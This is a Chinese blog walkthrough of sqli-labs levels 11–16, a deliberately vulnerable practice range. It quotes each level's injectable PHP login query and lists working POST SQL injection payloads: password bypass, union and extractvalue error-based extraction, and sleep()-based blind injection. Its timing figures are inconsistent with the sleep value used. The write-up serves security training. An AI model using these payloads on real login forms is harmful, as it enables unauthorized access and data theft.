靶场练习-Sqli-labs通关记录(post型)(11-16关)

0x00 实验环境

本地:Win 10

靶场:sqli-labs(共65关,每日一关)

0x02 通关记录

简介:一天一关!

(11)第十一关:

首先看到是个登录框,就平常的超级多的登录页面,我们从来没有思考过它会不会存在注入

再看看源码,这句话的意思是在数据库中查询userpassword,就正常的登录,查到账号密码就登录成功的那种:

    // connectivity 
    @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

 是存在admin/admin这个账号及密码的,那如果我们不知道密码,闭合了账号后面的密码,就能成功的无需密码进行登录了,从源码可以知道直接输入admin'#,就能闭合这句话,无需密码就可以登录成功,试试看:

 同样登录成功:

 就可以初步判定这里存在注入,当然,其实从报错也不难发现,输入 admin' and or 1# 这本来就是一句语法错误的查询:

 然后我们可以开始手工注入查询语句:

admin' order by 3#

 然后order by 2 ,发现回显正常:

 判定只有2列,然后依次查询,因为这个都是直接查询成功的,不会回显结果,所以试试报错查询:

admin' union select 1,2#
admin' union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#

 然后之后的大家都懂的!

(12)第十二关:

第12关与第11关唯一区别就是在用户那里添加了一个")

    // connectivity
    $uname='"'.$uname.'"';
    $passwd='"'.$passwd.'"'; 
    @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

因此闭合语句变成:

admin") union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#

(13)第十三关:

同理,13关的也是仅仅是变了个')

    // connectivity 
    @$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
admin') union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#

(14)第十四关:

// connectivity
    $uname='"'.$uname.'"';
    $passwd='"'.$passwd.'"'; 
    @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

这个也是一样的,仅仅是多了一个"

因此闭合语句为:

admin" union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#

(15)第十五关:

第15关一样的,就是闭合语句的问题,这一关居然没报错了,那就试试延时注入

// connectivity 
    @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
admin' union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#
admin' and If(ascii(substr(database(),1,1))=111,1,sleep(7))#

错的数据库ascii码会有11秒,正确的应该是会有4秒

 发现结果确实如此!

(16)第十六关:

// connectivity
    $uname='"'.$uname.'"';
    $passwd='"'.$passwd.'"'; 
    @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

使用的")进行拼接,千万别看漏了!!!其实还是可以尝试延时注入,主要是报错不知道回显不回显。尝试后发现并不回显,因此试试延时注入:

admin") union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#

admin") and If(ascii(substr(database(),1,1))=111,1,sleep(7))#

admin") and if(ascii(substr(database(),1,1))=115,1,sleep(7))#

原文地址:https://www.cnblogs.com/cute-puli/p/15503865.html